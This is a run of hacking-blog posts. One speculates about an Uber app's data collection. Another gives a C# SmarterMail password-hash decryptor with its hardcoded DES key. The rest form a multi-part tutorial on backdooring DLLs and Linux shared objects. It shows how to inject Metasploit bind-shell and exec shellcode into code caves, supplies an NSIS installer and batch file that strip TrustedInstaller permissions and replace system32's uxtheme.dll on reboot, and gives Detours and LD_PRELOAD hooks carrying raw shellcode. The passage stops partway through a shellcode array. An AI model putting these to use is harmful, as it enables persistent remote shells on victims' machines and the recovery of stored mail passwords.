<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE">
</uses-permission>
<uses-permission android:name="android.permission.WAKE_LOCK">
</uses-permission>

Christ man! Why the hell would it want access to my camera, my phone calls, my wifi neighbors, my accounts, etc? We’ll see in just a second.

public void run()
      {
        Looper.prepare();
        InAuthManager.getInstance().updateLogConfig(this.val$URL, this.val$acctGUID);
        InAuthManager.getInstance().sendAccountsLog(this.val$transID);
        InAuthManager.getInstance().sendAppActivityLog(this.val$transID);
        InAuthManager.getInstance().sendAppDataUsageLog(this.val$transID);
        InAuthManager.getInstance().sendAppInstallLog(this.val$transID);
        InAuthManager.getInstance().sendBatteryLog(this.val$transID);
        InAuthManager.getInstance().sendDeviceInfoLog(this.val$transID, true);
        InAuthManager.getInstance().sendGPSLog(this.val$transID, true);
        InAuthManager.getInstance().sendMMSLog(this.val$transID);
        InAuthManager.getInstance().sendNetDataLog(this.val$transID);
        InAuthManager.getInstance().sendPhoneCallLog(this.val$transID);
        InAuthManager.getInstance().sendSMSLog(this.val$transID);
        InAuthManager.getInstance().sendTelephonyInfoLog(this.val$transID, true);
        InAuthManager.getInstance().sendWifiConnectionLog(this.val$transID);
        InAuthManager.getInstance().sendWifiNeighborsLog(this.val$transID);
      }
    });

Why the hell is this here? What’s it sending? Why? Where? I don’t remember agreeing to allow uber accedes to my phone calls and sms messages. Bad NSA-Uber.

There’s a lot of code to go over. The thing is about 7.5 MB of classes. In fact, the code I snagged from above comes from about 1100 lines of code. See for yourself. I especially liked the ‘hasHeartbleedVulnerability()’ method. Why do they want to know that? Later exploitation?

Going through the licenses.html file in the apk file, theres a software suite missing.
droid4
See it? Stericson.RootTools

Google helps:
droid3

Why the hell would they need this? I know I keep asking questions, but here’s some answers: Uber checks to see if your device is rooted. It doesn’t tell you of course, it just wants to know so it can phone home and tell them about it. I also saw checks for malware, application activity and a bunch of other stuff.

[Correction] They use REST, not webdav. Thanks to everyone who pointed that out. Derp.

Like I said before, there’s a lot of data here to go through. Maybe Uber evil. Maybe Uber isn’t sending a bunch of data off to their collection servers for harvesting. Maybe I’m just paranoid.

Stay tuned for my next post, its gonna be good. I know I said that last time, but this is more of a blog post than an actual post.

1405103297032

SmarterMail Password Decryption Updates

$
0
0

Greetings and salutations!

One of my faithful readers reminded me that one of my old programs I wrote no longer works. This is due to SmarterMail updating their source code and me not updating enough.

So to fix this, I have come up with a half-ass solution.

For those wondering how to decrypt SmarterMail hashes, here’s how: It’s DES encryption with a 14 character key and 4 byte initialization vector.

I started to write a project for decryption, but I never quite finished. Here’s what I put together:
Untitled

The main part of the code is this:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml;
using System.Security.Cryptography;
using System.Globalization;
using System.IO;

namespace SmarterMail_Password_Decryptor_v2
{
    public partial class Form1 : Form
    {
        public static string PasswordKey = "03a8ur98qhfa9h";

        public Form1()
        {
            InitializeComponent();
        }

        private void BtnDecrypt_Click(object sender, EventArgs e)
        {
            string hashval = tbHash.Text;
            label2.Text = "";

            if (hashval == "")
            {
                label2.Text = "Error, missing pass hash, try again!";
                return;
            }
            byte[] bytepass = Convert.FromBase64String(tbHash.Text);
            File.WriteAllBytes("temp.wut", bytepass);
            DecryptFile("temp.wut", "temp.huh", PasswordKey);
           // string password = CryptographyHelper.DecodeFromBase64(0, PasswordKey, hashval);
            //label2.Text = "Pass is " + password;
  
        }

        static void DecryptFile(string sInputFilename, string sOutputFilename, string sKey)
        {
            byte[] my_IV = new byte[]
				{
					155,
					26,
					93,
					86
				};
            DESCryptoServiceProvider DES = new DESCryptoServiceProvider();

            DES.Key = UnicodeEncoding.ASCII.GetBytes(sKey);
            DES.IV = my_IV;
            DES.Mode = CipherMode.CFB;
            DES.Padding = PaddingMode.ISO10126;
            FileStream fsread = new FileStream(sInputFilename, FileMode.Open, FileAccess.Read);
            ICryptoTransform desdecrypt = DES.CreateDecryptor();
            CryptoStream cryptostreamDecr = new CryptoStream(fsread, desdecrypt, CryptoStreamMode.Read);
            FileStream fsDecrypted = new FileStream(sOutputFilename, FileMode.Create, FileAccess.Write);
            cryptostreamDecr.CopyTo(fsDecrypted);
            fsDecrypted.Flush();
            fsDecrypted.Close();
        }
       
    }
}

I am of course omitting several classes I derived from the decompiled mail server code, but this is included in the attachment below.

As you can see we have our encryption type type (symmetrical / DES), our key, and our IV, as well as a method to decrypt. This project is not complete, but most of the pieces are here: SmarterMail_Password_Decryptor_v2_pass_12345

Happy hacking!

164-aladdin


Backdooring a DLL

$
0
0

Howdy!

It’s been a dogs age, but I’m back at it. I had a crazy idea come to me. Backdoor a common DLL. From time to time I’ll download a dll off the net if its required for some other program to run. It hit me, how can I modify a dll to be backdoored for use? and DLL Sidejacking

Modification of a dll isn’t hard – they’re just exes. The main difference is they cannot be invoked directly (double click, createprocess, etc). They can however be loaded with rundll32.exe, or called via one of their exported entry points.

First off, a little on how dll’s work. For those of you who run Linux, think of a dll as a shared object. There are two kinds of library files – dynamic ones and static ones. A static library (.lib file) is just that – a library file that’s compiled into an exe. Dynamic Link Libraries allow a developer to break up their applications into components. That way when a patch is needed, they don’t need to re-compile the whole thing. They also make a program smaller in size when they rely on dll files rather than compiling in a large static library.

dll_files

How do you backdoor a dll? Same way you backdoor any other exe – replace the entry point with your own code and jump back when you’re done. In the case of a dll, you’re overwriting the EXPORTED function code to ensure your code is hit. This works the same way as a dll hijacking attack. When it comes to modification, you can either

A) Try and find code caves and cram what you need inside
B) Add a new code section yourself and cram what you need in there
C) Dynamically allocate the space you want. This implies you already have the space needed to add the code to dynamically add more, but its still an option. This is done via VirtualAlloc / VirtualProtect, and WriteProcessMemory win32 apis.

Once you add your code, you have be mindful of what you call. Exes have what’s called an ‘import address table‘ (IAT) which is a table list of functions and their respective dll’s they’re imported from. If you attempt to call a function without its respective IAT entry, it won’t work. This means you will either have to add an entry to the IAT meaning modify the exe header, or find some other way of calling the code dynamically. If you’ve ever done C development in windows, you know you can pair up LoadLibrary with GetProcAddress() to call an external dll function. This is still an option. Shellcode developers on the other hand like to call functions the fancy way – getting addresses from the Thread Environment Block (TEB) / Process Environment Block (PEB). For the sake of simplicity, I’m going to just call code that’s already inside the executable image.

There are problems you will encounter with attempting to replace code. The obvious problem is finding the space in an exe to place your code. This means we’ll need to find a Code Cave (empty space in the exe to place our code), or add a new executable section. For my example, I only need about 70 bytes, so adding a new section isn’t necessary. I could also string several code caves together. There’s also the problem of function / program checksums – some applications refuse to run if they’ve been modified.

In this example I will be going after Foobar2000 because its my media player of choice.

foobar

First we need to pick a dll import entry to patch.

foobar2

I will be backdooring the file ‘shared.dll’ as it is employed by Foobar2000. Looking at the import table of foobar and export table of shared.dll, I’ve chosen the dll export ‘uGetOpenFileName’ for its playlist file creation capabilities.

shared_export

Now that we’ve selected an export entry to backdoor, we need to find a cave to write to. I’m using http://www.openrce.org/downloads/details/70/Cave and IDA pro.

shared_dll_screen1
40 bytes is good, but its slim pickings

shared_dll_screen2

Here we have 3 caves. 1 in the text section that’s 73 bytes, 1 in .rdata that’s 2811 bytes and 1 in .data that’s 3492 bytes. 73 bytes is just enough a snug fit for me.

If we wanted to use the other 2 caves listed, we would have to change section header code protection flags – .data and .rdata are usually global / local variable storage and their memory spaces marked non executable. This can however be changed with cff explorer.
section_data

We could also, in a pinch, make use several smaller caves (smaller byte number search) within the .text section from alignment bytes and string them together:
caves
These little caves are generated by the compiler for the sole purpose of maintaining stack alignment and are usually either made up of NOP (0x90) instructions or int3 instructions (0xCC) and can be changed to whatever we want. This of course is difficult because you need 5 bytes to jump, leaving you 10 bytes to do whatever before jumping to the next area. Difficult, but not impossible.

Anyways, we have our code cave, we’ll need to perform a long jump to it meaning we need at least 5 bytes of data to perform the jump. Anything we copy over will have to be restored. Looking at the exported entry for ‘uGetOpenFileName’, I see a perfect place for a long jump to our code cave without messing up the sub routine too much.
export_selection

Specifically between 10003422 and 10003427, 5 bytes of space is enough to perform a long jump to our code cave. All we would have to do when we jump back is remember to move ‘2090h’ into the EAX register when we jump back to 10003427. Easy enough right? But what do we call? For this example, I will be calling an entry inside the dll’s import address table. If an entry is missing, we’ll have to resort to other methods (shellcode, PEB ldr method, getprocaddress / loadlibrary, etc) to call our code. For the sake of simplicity, I’m using stuff already in the import address table. Lucky for us, MessageBoxW exists in the IAT:

iat
Take note of the address 1001C2C0 for MessageBoxW, it will come in handy later.

A big problem we run into with adding new code is relocation. Relocation is the process of assigning load addresses to various parts of a program and adjusting the code and data in the program to reflect the assigned addresses. Windows will relocate an image’s base address to something other than what’s defined in the PE header in order to satisfy ASLR (address space layout randomization). For more info on relocation, see http://www.drdobbs.com/rebasing-win32-dlls/184416272. Using the import address table’s Relative Virtual Address, we can call what we want. Position independence is key or this wont work. We have to get creative.

In the following code, we’re going to use the instruction pointer and the Import Address Table’s Relative Virtual Address (RVA) to call what we want, and tell relocation to take a hike.

We can obtain the address of the instruction pointer a number of ways, but in my example I’m using the pointer to ESP call / ret trick.

MOV EAX,DWORD PTR SS:[ESP]
RETN

Remember the value 1001C2C0? The first 16 bits are relocated at run time. The last 16 bits of that Import Address Table entry is the RVA to our function. By adding that to the first 16 bytes of our instruction pointer, we get the address of our function we can call.

call    GetEip 	; mov     eax, [esp]  then ret, place EIP in the EAX register
xor     ebx, ebx ; clear EBX
mov     ax, bx ; store the first 16 bits of e(ax) in bx
;ax should now be the first 16 bits of the relocation address
add     eax, 0C2C0h		; add the RVA of MessageBoxW to the value
call    [eax] ; call it.

Oh wait I’m forgetting something aren’t I? Can’t just up and call MessageBoxW without a few extra arguments can I? Like strings? There are problems with strings when it comes to injecting code into caves or dynamic code for that matter. In assembly, strings are nothing more than arrays of bytes that are stored sequentially in memory. You define them in assembly using the DB / DD / DW directives. We can’t just define bytes because when we reference them, they will be locked to a region and not position independent.

stringz

Note the bytes, locked to a memory region If I want to use this, I have to push the address 00401080 as an argument which will change each time the dll is loaded (thanks relocation).

How do we get around this? We have to use the stack with our strings.

You can speed up the process of writing assembly considerably if you write out what you want in C first, then check out the assembly output later. For example, forcing the compiler to use the stack, here we have C code:

#define _UNICODE
#include <windows.h>
#include <wchar.h>

int main(void)
{
	char kek[] = "joe not hurr";
	MessageBoxA(NULL, kek, kek, 0x00000010);
	register WCHAR s[] = L"Joerox";
	MessageBoxW(NULL, s, s, 0x00000010);
	return 1;
}

Note: I had to use the register keyword for the WCHAR Unicode constant or else the compiler INSISTS on placing the chars in the data segment. I’m not sure if this is a bug or a feature. Here is the assembly output:

PUSH EBP
MOV EBP,ESP
SUB ESP,1C
MOV DWORD PTR SS:[EBP-D],20656F6A
MOV DWORD PTR SS:[EBP-9],20746F6E
MOV DWORD PTR SS:[EBP-5],72727568
MOV BYTE PTR SS:[EBP-1],0
PUSH 10                 ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
LEA EAX,DWORD PTR SS:[EBP-D]             ; |
PUSH EAX                                 ; |Title
LEA EAX,DWORD PTR SS:[EBP-D]             ; |
PUSH EAX                                 ; |Text
PUSH 0                                   ; |hOwner = NULL
CALL DWORD PTR DS:[<&USER32.MessageBoxA>>; \MessageBoxA
MOV WORD PTR SS:[EBP-1C],4A
MOV WORD PTR SS:[EBP-1A],6F
MOV WORD PTR SS:[EBP-18],65
MOV WORD PTR SS:[EBP-16],72
MOV WORD PTR SS:[EBP-14],6F
MOV WORD PTR SS:[EBP-12],78
MOV WORD PTR SS:[EBP-10],0
PUSH 10                   ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
LEA EAX,DWORD PTR SS:[EBP-1C]            ; |
PUSH EAX                                 ; |Title
LEA EAX,DWORD PTR SS:[EBP-1C]            ; |
PUSH EAX                                 ; |Text
PUSH 0                                   ; |hOwner = NULL
CALL DWORD PTR DS:[<&USER32.MessageBoxW>>; \MessageBoxW
MOV EAX,1
MOV ESP,EBP
POP EBP
RETN

Note the difference between ANSI and Unicode strings on how they’re moved onto the stack. ANSI chars are byte aligned, while Unicode chars are word aligned. We can use this with a few minor modifications. Namely, we want to use EAX for other stuff, and we want to save space, but other than that, this will work.

When it comes to patching, I prefer to use immunity debugger. First we look for our exported entry, then we look for the mov eax, 2090h, then we replace with a long jump to our code. Easiest way to find out our exported entry is via the text search command. referenced

The ‘UGetOpenFileName’ entry should lead us to our entry point for editing.

__23

Then we do our business, placing a string on the stack, and calling out IAT entry then move 2090 into eax, then jump back.
_34

Next we save, and boom.

Here is the finished result:
caved_code
Not if I do say so myself. Now, running the thing, we load up Foobar with our dll in the same directory, play a song, click ‘save playlist’ and viola, our messagebox is run. *applause*.
___56

Maybe that’s worth a golf clap? Oh well, it least I got a message box and it at least it didn’t crash.

You can find the files here.. Password is 12345.

Stay tuned for part 2 where we’re going to go after uxtheme.dll because it’s unsigned, and used by everything.

Happy Haxing!

1464967829372

Backdooring DLL’s Part 2

$
0
0

Today I have some good news. Backdooring a dll file is a lot easier than I first made it out to be. Especially if we skip the bullshit of the IAT and take advantage of shellcode.

1394305570820

There are problems with using shellcode – size constraints are different. In my previous example, I didn’t need much space – just under 40 bytes. Windows shellcode, to do anything cool, is much larger than Linux shellcode, especially if its in stages and encoded. This is fine tho as there are numerous ways to get more space. I can just as easily just mark another code section and write my data there.

We’ll be attacking uxtheme.dll because as I said before it’s unsigned, used by everything, and has some space we can use.

Step 1 is to find a cave. Like before, we launch our cave script, give it a size big enough for shellcode. Note that I’m attacking the 64 bit version of uxtheme.dll and utilizing 64 bit ida.

cave

See that?

Possible alignment block(s):
.text:0000000171B56C77 393 alignment bytes
.rdata:0000000171B88161 3743 alignment bytes
.data:0000000171B8B928 1752 alignment bytes
.didat:0000000171B92128 3800 alignment bytes

Lot’s of space to work with. I don’t even need to adjust the PE header here and take advantage of the area at the end of the text section.

Now let’s find an exe that uses uxtheme.dll and see what function it imports.

ux_theme_exe

Notepad will do I guess….wait, what am I thinking. What about explorer.exe? Everyone uses explorer.exe! I mean that’s the point of uxtheme.dll – to set theme options for explorer.exe.

First thing we do is pick an imported dll function from uxtheme.dll within explorer.exe

explorer_exe_import

I’m going with GetWindowsTheme(). Double click on the import so we can see any external references.
explorer_import_2

Luckily there’s only 2. We need to find out which one is set when a new theme is selected within explorer. For this we need to fire up our debugger. In this case, I’m using x64dbg which is awesome, to attach to explorer.exe.

Once we’re attached (run debugger as admin), we’ll need the proper addresses to set breakpoints on. Because of relocation, the addresses seen in IDA will not match what is seen in the debugger. It’s an easy fix however – just need the base address…(available from the memory window tab) which is 7FF669860000. This address will be different every time.
explorer_dbg

So now we plug this into the ‘rebase’ menu in IDA (Edit->Segments->Rebase Program):
rebase
And IDA’s addresses will then match what we see in the debugger. Useful huh?

Anyways, bringing up external references to our selected GetWindowTheme() function shows us addresses 00007FF669898096 and 00007FF6699588B6. Because X64dbg attempts to mimic windbg in functionality, all you have to do break on these addresses is by using the command bar at the bottom:
breakpoint

Running the theme manager and selecting a theme seems to set off our breakpoint at address 00007FF669898096. This address and the event (selecting a theme in the windows Theme manager) is our magic ticket.
explorer_dbg_2

So now let’s inspect the function within uxtheme.dll. We need at least 5 bytes to jump to a useful location.
uxtheme_ida_2
See that right there? The ‘or eax,0xFFFFFFFF’ That’s exactly what we want. The op codes for that operation are ‘0D FF FF FF FF’ – 5 bytes is just what we need for a long jump.

Now we need some code to put inside. Recall from before, I have 393 alignment bytes (junk bytes) at address .text:0000000171B56C77. Plenty to work with.

Let’s boot up Metasploit and see what we can grab.
win_shellcode_0

275 bytes – just enough size to spawn a cmd shell without fucking with the PE structure. Super duper. But what about an actual remote command shell tho?

win_shellcode_1

505 bytes? It’s too fuckin big to fit in our 393 byte space.
shellcode_64bit_bind_too_big

That’s no problem though. We have other areas in the DLL we can make use of.

Possible alignment block(s):
.text:0000000171B56C77 393 alignment bytes
.rdata:0000000171B88161 3743 alignment bytes
.data:0000000171B8B928 1752 alignment bytes
.didat:0000000171B92128 3800 alignment bytes

3743 bytes in ‘.rdata’. Historically ‘.rdata’ will contain read only data structures, sometimes debug info. But there’s no real standard. Problem is, if we try and run code from this area, we will get an access violation and crash. This is because the section is not meant to have code in it. We can mark the area executable like our ‘.text’ section and drop our 505 bytes of data inside.

Here I’m using CFF explorer again to do just that:
section_header_fun

Now we need to modify the DLL export entry GetWindowTheme() to jump to address 0000000171B88161 which will contain our shellcode as well as a jump back at address 0000000171B05350.

For simplicity’s sake, I’m using x64dbg again and am loading the dll directly into the debugger. We’ll have to rebase again to use the right addresses within IDA. Luckily we know how.
1469023497982

So we go to the address of the export, modify the ‘or eax,FFFFFFFF’ instructions to jump to our new address of junk bytes in the ‘.rdata’ section.
uxtheme_dbg

Now we paste our shellcode (Right click area, choose Binary->Paste Ignore Size) into the are we jumped to, and for good measure, we add our old instructions we replaced followed by a jump back – because we roll clean.

uxtheme_dbg_2

Now we save our work. Choose the ‘Patches’ menu and select ‘Patch File’ to save our work.
uxtheme_dbg_3

Now we confirm our changes in IDA:
uxtheme_ida_3

OK then – we now have a backdoored uxtheme.dll file that activates via explorer.exe when a user selects a new theme. So now we have to figure out how the heck we can replace this file so that our dll is loaded instead of the one in system32.

There seems to be a multitude of uxtheme changing applications on the net. It seems hacking / tweaking windows is popular. This could be our way in.

I decided on this tool Ultra Uxtheme Patcher.

It looks innocent enough.
uxtheme_patcher

Running the thing with procmon with ‘uxtheme.dll’ as part of the path filter reveals a little bit on what it’s doing and how it’s patching uxtheme.dll.
uxtheme_replacer_reverse_engineering_0

It looks as though the program is creating a file named ‘uxtheme.dll.new’, naming the old DLL file as ‘uxtheme.dll.backup’ and attempting to write to the system file. This is incomplete information. Loading the thing into ApiMonitor (Rohit labs rocks), we get a clearer picture.

uxtheme_replacer_reverse_engineering

As I suspected – the file is being moved and delayed until a reboot has occurred. The MoveFileEx function has a parameter(MOVEFILE_DELAY_UNTIL_REBOOT) for delaying movement of files that would otherwise be in use until reboot. This makes it possible to modify system files. Ever wonder why Windows needs to reboot after every update? This is why.

That said we don’t need to do much to replace uxtheme.dll with our own backdoored code. Just need to code up some C app.

#include <windows.h>
#include <stdio.h>

#define MAX_BUF 1024

void GiveShutdownPrivs(void);

int main(void)
{
    GiveShutdownPrivs();	
	MoveFileEx("%windir%\\system32\\uxtheme.dll","%windir%\\system32\\uxtheme.dll.old", MOVEFILE_DELAY_UNTIL_REBOOT);
	MoveFileEx("uxtheme_modded.dll","%windir%\\system32\\uxtheme.dll", MOVEFILE_DELAY_UNTIL_REBOOT);
	printf("File moved, now we'e gonna reboot\r\n");
	getchar();
	ExitWindowsEx(EWX_REBOOT|EWX_FORCEIFHUNG, 0);
}

void GiveShutdownPrivs(void)
{
	HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
    {
      if (LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Lulolwutid))
      {
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
      }else
		{
			printf("This doesn't work if you're not an admin!\r\n");
			ExitProcess(1);
		}


      CloseHandle(hToken);
    }
}

Short and simple code, however this will ONLY work on XP or if we first remove the TrustedInstaller permissions from uxtheme.dll. This can also be done programmatically of course so let’s make use of NSIS.

!ifndef ___X64__NSH___
!define ___X64__NSH___

!include LogicLib.nsh


!define IsWow64 `"" IsWow64 ""`
!macro _IsWow64 _a _b _t _f
  !insertmacro _LOGICLIB_TEMP
  System::Call kernel32::GetCurrentProcess()p.s
  System::Call kernel32::IsWow64Process(ps,*i0s)
  Pop $_LOGICLIB_TEMP
  !insertmacro _!= $_LOGICLIB_TEMP 0 `${_t}` `${_f}`
!macroend


!define RunningX64 `"" RunningX64 ""`
!macro _RunningX64 _a _b _t _f 
  !if ${NSIS_PTR_SIZE} > 4
    !insertmacro LogicLib_JumpToBranch `${_t}` `${_f}`
  !else
    !insertmacro _IsWow64 `${_a}` `${_b}` `${_t}` `${_f}`
  !endif
!macroend


!define DisableX64FSRedirection "!insertmacro DisableX64FSRedirection"
!macro DisableX64FSRedirection
  System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
!macroend

!define EnableX64FSRedirection "!insertmacro EnableX64FSRedirection"
!macro EnableX64FSRedirection
  System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
!macroend


!endif # !___X64__NSH___

!define PRODUCT_CODE "joereplacer"
 
RequestExecutionLevel admin
ShowInstDetails show 
 
; The name of the installer
Name "ReplaceOnReboot"
 
; The file to write
OutFile "JoesUxThemeReplacer.exe"
 

 
Section "" 
    MessageBox MB_OK "Just DO IT"
	SetOutPath $SYSDIR
	${DisableX64FSRedirection}
	File "windows7_uxtheme.dll"
	File "what_i_need.bat"
 	;Call MoveFileEx on each file above (Params: <source>, <destination>, 4) 5 == Move on Reboot && Replace Existing
	; need trustedinstaller privs to do this.
	System::Call "kernel32::CopyFile(t '$SYSDIR\uxtheme.dll', t '$SYSDIR\uxtheme.dll.old', b 1)"
	Exec '"$SYSDIR\what_i_need.bat"'
	System::Call "kernel32::MoveFileEx(t '$SYSDIR\windows7_uxtheme.dll', t '$SYSDIR\uxtheme.dll', i 5)"
 
SectionEnd ; end the section

The file ‘what_i_need.bat’ contains 2 commands – takeown and icacls to remove trustedinstaller privileges and grant the admin full privileges.

@echo off
takeown /F c:\windows\system32\uxtheme.dll /A
icacls c:\windows\system32\uxtheme.dll /grant administrators:F

To use this script you need to place your backdoored dll and batch file into the same folder as this script and run the compile NSIS script tool.

Now let’s try this on my VM. I’m using the same shellcode, just a different version of the dll (windows 7 x64).
my_vm

No problems running the thing.

After a quick reboot, our backdoored uxtheme.dll file takes the place of the old one. Our backdoor code is called on startup initialization of explorer.exe, so we don’t even need to wait for the user to select a theme. As you can see, the firewall is going a little crazy with explorer:
seems_legit

When I connect to the our local host via a raw connection in putty, here’s our command shell:
yessir

Fear me!

All files, shellcode, screenshots, and code are available for download here.

Stay tuned for part 3 when I delve into Linux.

Happy hacking!

1468389065767

Backdooring DLL’s Part 3

$
0
0

Whaddup fellow crackers. Long time, no see.
1463353909015

In this article, we’re going to do something I rarely bother with – Linux!

Yes, you can backdoor Linux binaries quite easily. One method I like to use is via the LD_PRELOAD environment variable. Within the header file “dlfcn.h”, there exists a function named ‘dlsym’ which is used for obtaining the address of symbols. We can use this to hook shared library functions and add our own code to them.

In the following example, I am hooking ‘strcpy’ with a check to see if the destination buffer is large enough for the source. If it isn’t, rather than (potentially) crashing, my implementation prints what I want to the screen along with some backtrace info obtained from ‘execinfo.h’. Here is how we do it.

First, paste this into your editor:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <execinfo.h>
#include <stdio.h>
#include <stdlib.h>

void joetrace(void);

char *strcpy(char *destination,  char *source )  
{

         if (strlen(source) > strlen(destination)) {
                printf("\nFound bug in [strcpy] call.  Source [%zu] Destination [%zu]\n", strlen(source), strlen(destination));
                joetrace();
        }

        char *(*old_strcpy)(char *dest, const char *src);
        old_strcpy = dlsym(RTLD_NEXT, "strcpy");
        return (*old_strcpy)(destination, source);
}

void joetrace (void)
{
  void *blox[10];
  size_t mysize;
  char **brix;
  size_t i;
  mysize = backtrace (blox, 10);
  brix = backtrace_symbols (blox, mysize);
  printf ("I'm seeing %zd stack frames.\n", mysize);

        for (i = 0; i < mysize; i++)
        {
        printf ("%s\n", brix[i]);
        }
  free(brix);
}

Now compile:

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC btrace.c -o btrace.so

Now we need a testing program. Paste this into your editor.

#include <stdio.h>
#include <string.h>

int main(void)
{
printf("This better work...\r\n");
char joe[10] = "haha";
char why[10] = "hehey";
strcpy(joe,why);
}

Compile…

joe@ubuntu:~/Downloads$ gcc testing123.c -o testing123

Now we’re ready. Just need to set the LD_PRELOAD environment variable and run the program at the same time. Low and behold:

joe@ubuntu:~/Downloads$ LD_PRELOAD=/home/joe/Downloads/btrace.so ./testing123
This better work...

Found bug in [strcpy] call.  Source [5] Destination [4]
I'm seeing 5 stack frames.
/home/joe/Downloads/btrace.so(joetrace+0x19) [0x7fe1699f6885]
/home/joe/Downloads/btrace.so(strcpy+0xd0) [0x7fe1699f683c]
./testing123() [0x40060a]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed) [0x7fe1696597ed]
./testing123() [0x4004f9]

This is useful if you want to test programs for buffer overflows, but what about backdooring? After all, that’s why we’re here right? All we have to do is modify our code before our call to ‘dlsym’ and the return and place backdooring code inside. My motto has always been, why re-invent the wheel? Metasploit has lot’s of backdoor code. Hell, Metasploit is even nice enough to produce a C file output for our shellcode. Since we don’t need to evade anything or watch for null bytes, the process is simple.

Step 1 – boot up metasploit, pick a payload.
msf

In this case, I chose exec for Linux x64. I’m setting the CMD as /usr/bin/cal (calendar). Now it’s just a matter of using the ‘generate’ command and specifying C as the output language:
msdf2

We take our output, make it C ready, and place this inside our shared object and compile.

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

char *strcpy(char *destination,  char *source )  
{
unsigned char buf[] = 
"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x62\xd4\x8c\x11\x28\xd0\x06\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\x59\x8c\x15\x59\x93"
"\xff\x64\xa7\x0c\xfb\xff\x79\x28\x83\x4e\x47\x85\xbc\xa1\x72"
"\x28\xd0\x4e\x47\x84\x86\x64\x1c\x28\xd0\x06\xe1\x17\xa7\xfe"
"\x3e\x4a\xb9\x68\xe1\x01\xb5\xe0\x11\x7e\x87\x4e\x47\x84\xdb"
"\x89\x11\x28\xd0\x06";

int (*doit)() = (int(*)())buf;
doit();
        
char *(*old_strcpy)(char *dest, const char *src);
old_strcpy = dlsym(RTLD_NEXT, "strcpy");
return (*old_strcpy)(destination, source);
}

Compiling….

joe@ubuntu:~/Downloads$ gcc -shared -ldl -fPIC -fno-stack-protector -z execstack backdoored_so.c -o backdoored_so.so

Now we set our environment variable LD_PRELOAD again and run our program:
backdoored_shared_object
Fantastico! The call to strcpy() was intercepted, and calendar was called. I used simple shellcode too. Imagine spawning a shell when apache accepts a recv() request from your IP? You’ll have to be creative.

There are other ways of backdooring shared objects in Linux, but I wanted to share the hooking method. The way you hook a Linux shared object is about the same as part 1 when we went through a DLL file – just find the right export / function and replace codez.

Tune in for part 4, the final chapter when I go over using hooking libraries to hook dll files on windows. We’ll be playing with HookLib and MS Detours again.

Until then,

Happy hacking!

Backdooring a DLL part 4

$
0
0

Here we are finally at the last part of my series on backdooring dll files. I wanted to cover again detours as a means of backdooring dll files and executables. A fellow 2600 member I spoke to asked me the other day about what it would take to modify an exe without changing it on disk. For that I say detours! That’s what I’m going to do this in example, on top of popping a message box up, I’m also going to pop a shell.

Recall that we covered this once before. All I’m doing is slightly modifying the detours code from before to include some shellcode from MSF. I also modified the launcher slightly because of a unicode conversion error. I’ll link all projects source and all towards the end. We’re of course modifying our detours project to allow for shellcode to be implanted. Sure we *could* do our own shellcode right there in the dll with inline assembly, but MSF does a better job than me.

#include "stdafx.h"
#include <windows.h>
#include <detours.h>
#pragma comment(lib, "detours.lib")

typedef int (WINAPI *pFunc)(int, int);
int WINAPI MyFunc(int, int);
pFunc FuncToDetour = (pFunc)(0x40C910); // address of about box in Audacity

int WINAPI MyFunc(int a, int b)
{
	MessageBox(NULL, L"Audacity rocks!", L"Joe was here", MB_OK);
	/*
	msf payload(shell_bind_tcp) > generate -t c

	* windows/shell_bind_tcp - 328 bytes
	* http://www.metasploit.com
	* VERBOSE=false, LPORT=8080, RHOST=0.0.0.0,
	* PrependMigrate=false, EXITFUNC=none, InitialAutoRunScript=,
	* AutoRunScript=
	*/
	unsigned char buf[] =
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
		"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x1f\x90\x89"
		"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
		"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
